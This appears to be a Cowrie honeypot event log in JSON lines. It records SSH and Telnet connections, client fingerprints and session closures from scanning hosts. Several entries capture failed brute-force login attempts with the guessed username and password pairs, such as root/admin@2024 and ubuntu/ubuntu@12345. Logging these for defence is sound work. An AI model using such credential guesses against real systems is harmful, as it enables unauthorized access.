{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:34.443120Z","src_ip":"78.128.112.74","session":"5790916b55e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:34.447018Z","src_ip":"78.128.112.74","session":"5790916b55e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34570,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f4d537968d","protocol":"telnet","message":"New connection: 38.54.119.93:34570 (10.17.0.5:23) [session: b2f4d537968d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:35.011977Z"}
{"eventid":"cowrie.session.closed","duration":31.811674118041992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:35.047139Z","src_ip":"66.111.11.103","session":"89cd9205df2a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"2024!","message":"login attempt [user/2024!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:35.787345Z","src_ip":"78.128.112.74","session":"5790916b55e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:36.908026Z","src_ip":"78.128.112.74","session":"5790916b55e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":58468,"dst_ip":"159.203.135.109","dst_port":23,"session":"0190ff03684d","protocol":"telnet","message":"New connection: 66.111.11.103:58468 (159.203.135.109:23) [session: 0190ff03684d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:36.981903Z"}
{"eventid":"cowrie.session.closed","duration":31.26885485649109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:37.752407Z","src_ip":"66.111.11.103","session":"352cd0cdcffd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.42809867858887,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:40.071957Z","src_ip":"134.209.8.29","session":"9430e6ed558d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.312000751495361,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:40.460014Z","src_ip":"134.209.8.29","session":"6bf66136d89f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.00991106033325,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:41.766555Z","src_ip":"134.209.8.29","session":"2140ff72f5d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44444,"dst_ip":"159.203.135.109","dst_port":23,"session":"71a7958ad81c","protocol":"telnet","message":"New connection: 134.209.8.29:44444 (159.203.135.109:23) [session: 71a7958ad81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:42.899769Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":34928,"dst_ip":"159.203.135.109","dst_port":23,"session":"94a633971645","protocol":"telnet","message":"New connection: 66.111.11.103:34928 (159.203.135.109:23) [session: 94a633971645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:42.983898Z"}
{"eventid":"cowrie.session.closed","duration":0.0058290958404541016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:42.989589Z","src_ip":"66.111.11.103","session":"94a633971645","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":34748,"dst_ip":"159.203.135.109","dst_port":23,"session":"c37005e8e7d2","protocol":"telnet","message":"New connection: 66.111.11.103:34748 (159.203.135.109:23) [session: c37005e8e7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:43.584707Z"}
{"eventid":"cowrie.session.closed","duration":50.7116961479187,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:44.136738Z","src_ip":"134.209.8.29","session":"29e9df30555e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44452,"dst_ip":"159.203.135.109","dst_port":23,"session":"f823a274effe","protocol":"telnet","message":"New connection: 134.209.8.29:44452 (159.203.135.109:23) [session: f823a274effe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:44.612438Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44448,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f5375540979","protocol":"telnet","message":"New connection: 134.209.8.29:44448 (159.203.135.109:23) [session: 7f5375540979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:45.475796Z"}
{"eventid":"cowrie.session.closed","duration":3.191354274749756,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:46.091022Z","src_ip":"134.209.8.29","session":"71a7958ad81c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42808,"dst_ip":"159.203.135.109","dst_port":23,"session":"b488f379b19c","protocol":"telnet","message":"New connection: 134.209.8.29:42808 (159.203.135.109:23) [session: b488f379b19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:52.550446Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42818,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2b4c24f5830","protocol":"telnet","message":"New connection: 134.209.8.29:42818 (159.203.135.109:23) [session: b2b4c24f5830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:53.901318Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":41688,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5df27406f4d","protocol":"ssh","message":"New connection: 148.216.28.11:41688 (10.17.0.5:22) [session: e5df27406f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:54.071553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:54.076799Z","src_ip":"148.216.28.11","session":"e5df27406f4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:54.144950Z","src_ip":"148.216.28.11","session":"e5df27406f4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2024","message":"login attempt [root/admin@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:54.447618Z","src_ip":"148.216.28.11","session":"e5df27406f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:55.519354Z","src_ip":"148.216.28.11","session":"e5df27406f4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":40100,"dst_ip":"10.17.0.5","dst_port":22,"session":"a618cc70af73","protocol":"ssh","message":"New connection: 150.95.157.171:40100 (10.17.0.5:22) [session: a618cc70af73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:55.803300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:55.812775Z","src_ip":"150.95.157.171","session":"a618cc70af73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42824,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4237e8adc3e","protocol":"telnet","message":"New connection: 134.209.8.29:42824 (159.203.135.109:23) [session: a4237e8adc3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:55.875614Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:55.976978Z","src_ip":"150.95.157.171","session":"a618cc70af73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42840,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f28360828e7","protocol":"telnet","message":"New connection: 134.209.8.29:42840 (159.203.135.109:23) [session: 8f28360828e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:56.509968Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@12345","message":"login attempt [ubuntu/ubuntu@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:56.644975Z","src_ip":"150.95.157.171","session":"a618cc70af73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42854,"dst_ip":"159.203.135.109","dst_port":23,"session":"53cddc712caf","protocol":"telnet","message":"New connection: 134.209.8.29:42854 (159.203.135.109:23) [session: 53cddc712caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:57.715317Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:57.818723Z","src_ip":"150.95.157.171","session":"a618cc70af73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.614927530288696,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:02.124796Z","src_ip":"134.209.8.29","session":"8f28360828e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":52958,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7b1dca070d6","protocol":"ssh","message":"New connection: 147.50.231.135:52958 (10.17.0.5:22) [session: a7b1dca070d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:04.144760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:04.149661Z","src_ip":"147.50.231.135","session":"a7b1dca070d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:04.413444Z","src_ip":"147.50.231.135","session":"a7b1dca070d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gitpass","message":"login attempt [root/gitpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:05.485520Z","src_ip":"147.50.231.135","session":"a7b1dca070d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":64282,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8f4ef78b35b","protocol":"ssh","message":"New connection: 205.254.166.101:64282 (159.203.135.109:22) [session: e8f4ef78b35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:06.077199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:06.083942Z","src_ip":"205.254.166.101","session":"e8f4ef78b35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:06.292656Z","src_ip":"205.254.166.101","session":"e8f4ef78b35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.741761922836304,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:06.456946Z","src_ip":"134.209.8.29","session":"53cddc712caf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:06.749714Z","src_ip":"147.50.231.135","session":"a7b1dca070d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":35500,"dst_ip":"10.17.0.5","dst_port":22,"session":"baef0ea0039e","protocol":"ssh","message":"New connection: 34.135.200.178:35500 (10.17.0.5:22) [session: baef0ea0039e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:07.081390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:07.085377Z","src_ip":"34.135.200.178","session":"baef0ea0039e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:07.120683Z","src_ip":"34.135.200.178","session":"baef0ea0039e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste@123","message":"login attempt [teste/teste@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:07.156845Z","src_ip":"205.254.166.101","session":"e8f4ef78b35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@12345","message":"login attempt [ubuntu/ubuntu@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:07.299635Z","src_ip":"34.135.200.178","session":"baef0ea0039e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.108341455459595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:08.090142Z","src_ip":"66.111.11.103","session":"0190ff03684d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:08.338975Z","src_ip":"34.135.200.178","session":"baef0ea0039e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:08.373265Z","src_ip":"205.254.166.101","session":"e8f4ef78b35b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53130,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ffb9337f1ca","protocol":"telnet","message":"New connection: 134.209.8.29:53130 (159.203.135.109:23) [session: 2ffb9337f1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:12.884532Z"}
